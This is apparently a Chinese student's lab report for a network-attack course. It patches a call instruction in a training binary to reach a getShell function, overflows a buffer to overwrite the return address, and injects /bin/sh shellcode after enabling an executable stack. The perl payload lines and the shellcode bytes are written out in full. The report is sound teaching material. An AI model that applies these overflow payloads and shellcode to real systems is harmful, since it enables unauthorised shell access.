博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 20165204《网络对抗技术》 Exp1 PC平台逆向破解
阅读量:5061 次
发布时间:2019-06-12

本文共 2268 字,大约阅读时间需要 7 分钟。

2018-2019-2 20165204《网络对抗技术》 Exp1 PC平台逆向破解

需要描述的内容

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90
  • JNE为条件转移指令,如果不相等则跳转。机器码是75。(Jump Not Equal)
  • JE为条件转移指令,相等则跳转。机器码是74.(Jump Equal)
  • JMP为无条件转移指令。在段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA
  • CMP比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

一、直接修改程序机器指令,改变程序执行流程

首先通过共享文件夹将pwn1文件copy进虚拟机中。

并养成良好习惯进行备份。
使用指令objdump -d pwn20165204 | more
1296584-20190317131146592-134396437.png

找到相应的call指令,发现其汇编指令为e8 d7 ff ff ff,e8是call的机器码,d7 ff ff ff是偏移量,我们要做的就是把d7 ff ff ff改成某个希望的数值,让call能够跳转到804847d。

1296584-20190317131200331-1167767547.png

0x08048491 - 0x0804847d = 0x00000014

0xffffffd7 - 0x00000014 = 0xffffffc3

因此我们需要将d7 改为 c3就可以了。

通过vim的%!xxd先将ASCII码文件转换为16进制

1296584-20190317131220814-1784101152.png

再使用/d7ff找到我们想要修改的代码,修改为c3

1296584-20190317131234093-883811805.png

1296584-20190317131255553-1656687819.png

再使用%!xxd -r将其转换为ASCII码文件,使其能够运行。

1296584-20190317131313501-81637288.png

保存退出后,反汇编看一下有没有修改成功

1296584-20190317131351538-744262860.png

运行程序,发现其确实跳转至了getshell函数。至此,实验成功。

1296584-20190317131435658-402897269.png

二、通过构造输入参数,造成BOF攻击,改变程序执行流

使用objdump -d pwn2 | more命令对文件进行反汇编

1296584-20190317131553809-100144180.png

使用gdb确认输入字符串哪几个字符会覆盖到返回地址

1296584-20190317131609319-2098962496.png

通过观察可发现1111111122222222333333334444444412345678那 1234 那四个数会覆盖到堆栈上的返回地址,所以只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。

通过反汇编可知,应输入11111111222222223333333344444444\x7d\x84\x04\x08。

1296584-20190317131626626-1590289736.png

因为无法使用键盘输入16进制值,故要构造输入字符串

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

再使用管道符|来输入。命令为(cat input; cat) | ./pwn2

1296584-20190317131708265-868876303.png

三、注入Shellcode并执行

(1)首先修改设置

apt-get install execstack安装execstack

execstack -s pwn2 设置堆栈可执行

execstack -q pwn2查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space查询地址虚拟化是否关闭

1296584-20190317131736630-1818338312.png

(2)把输入的字串放入input_shellcode文件里

(3)打开一个终端注入这段攻击buf(cat input_shellcode;cat) | ./pwn2

(4) 再开另外一个终端,用gdb来调试pwn1这个进程。

(5) 使用ps -ef | grep pwn2来确认进程号。找到进程号是33628

(6)disassemble foo命令进行反汇编,设置断点,使用info r esp找到地址

(7)输入x/16x 0xffffd30c查看其存放内容,直接发现了我们的0x01020304所以其存放地址就是0xffffd310

1296584-20190317131801025-1992066111.png

(8)将原shellcode更改为

perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(9)使用(cat input_shellcode;cat) | ./pwn2注入,成功!

1296584-20190317131825033-1764439221.png

四、实验总结

1、什么是漏洞?漏洞有什么危害?

漏洞大概就是操作系统在设计的时候难以避免的一些考虑上的失误,或者是庞大的代码中的可乘之机。

漏洞的危害当然就是会让别有用心的人利用来获得我们的信息、权限来为自己牟利,让个人社会乃至国家遭受损失。

2、实验收获与感想

做实验之前一头雾水,听刘念老师多次说过这个在中美黑客大战中立下汗马功劳的漏洞。之后听了老师课上的讲解,对其原理明白了很多。而在真正做的时候更加深入地理解了其中的套路,而且真的很顺利(给跪了)。然而限制依然很多,诸多限制去掉一个都很难!想成为Watch Dog中的那种黑客真的是路漫漫其修远兮啊。

转载于:https://www.cnblogs.com/jph596299009/p/10545118.html

你可能感兴趣的文章
会员未登录显示ID=1的会员信息 解决方案
查看>>
Git与Repo入门(转载)
查看>>
夺命雷公狗---linux NO:10 linux的文件与目录的基本操作
查看>>
Flask16 项目结构、flask_script插件
查看>>
html5 的头部
查看>>
一个计时器, 点击按钮 让他 停一会, 5s后继续自动运行
查看>>
UVA - 1585 Score
查看>>
漫画算法:深度优先遍历 和 广度优先遍历
查看>>
20181207作业-郭恩赐
查看>>
C语言大数四则运算
查看>>
netstat
查看>>
Helm - Kubernetes包管理专家
查看>>
Poj3225Help with Intervals区间线段树
查看>>
sgu101 欧拉路
查看>>
package.json和package-lock.json的区别
查看>>
VMware虚拟机的Linux系统访问本地磁盘
查看>>
STL之List存储结构体
查看>>
★古今中外著名14大悖论
查看>>
[IIS] 测试的产品登陆之后有个引用外部站点js的请求半天都无法返回,导致网页一直在打转,Selenium的driver也无法对页面进行下一步的操作...
查看>>
[转]EeeBox 安裝 Debian 後驅動 Wireless 筆記
查看>>